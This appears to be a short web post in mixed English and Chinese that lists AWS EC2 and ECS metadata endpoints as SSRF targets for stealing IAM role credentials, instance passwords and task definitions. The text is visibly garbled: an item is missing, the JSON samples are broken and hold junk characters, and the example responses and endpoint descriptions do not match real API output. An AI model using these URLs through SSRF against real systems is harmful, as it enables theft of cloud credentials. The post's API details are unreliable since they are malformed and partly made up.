[Web] List of sensitive APIs that can be exploited by SSRF in cloud security

The following is a list of some of the more sensitive AWS metadata service APIs (continuously updated):

1. Obtain the IAM role credentials for the EC2 instance:

   http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
   ````
   
   其中 `<role-name>` 是要获取 IAM 角色凭证的角色名称。
   或者
   http://169.254.169.254/latest/meta-data/iam/security-credentials/
   
   返回json举例
   {
     "Code" : "Success",
     "LastUpdated" : "2020-01-01T00:00:00Z",

     "Expiration" : "2020-01-01T01:00:00Z"
   }

2. Get the password data of the EC2 instance:

   http://169.254.169.254/latest/meta-data/instance-identity/document

       },  
       "Password": "password"  
     }  
   }

       "key": {  
         "algorithm": "openssh",  
         "size": 2048,  
         "public": true,  
         "private": true,  
         "raw": "d 壹 l4@N+|-sbnW1Ew=="  
       }  
     }  
   }
   
   

4. Get the task definition of the ECS container instance:

   http://169.254.170.2/v2/metadata/<container-id>/task-definition
   返回json示例包
   {
     "message": "Hello, world!",    
     "data": {    
       "taskDefinition": {    
         "type": "AWS::EC2::TaskDefinition",    
         "Properties": {    
           "Description": "Test Task Definition",    
           "ImageId": "ami-12345678",    
           "Name": "test-task-definition",    
           "Tags": [    
             {    
               "Key": "Environment",    
               "Value": "Test"    
             }    
           ]    
         }    
       },    
       "url": "http://169.254.170.2/v2/metadata/container-id/task-definition"    
     }    
   }
   
   

   where  <container-id> is the container ID to get the task definition from.

5. Get the task metadata of the ECS container instance:

   http://169.254.170.2/v2/metadata/<container-id>/task-with-metadata
   返回json包示例
   {
     "message": "Hello, world!",      
     "data": {      
       "taskWithMetadata": {

         }      
       },      
       "url": "http://169.254.170.2/v2/metadata/container-id/task-with-metadata"      
     }      
   }
   

   where  <container-id> is the container ID for which task metadata is to be obtained.
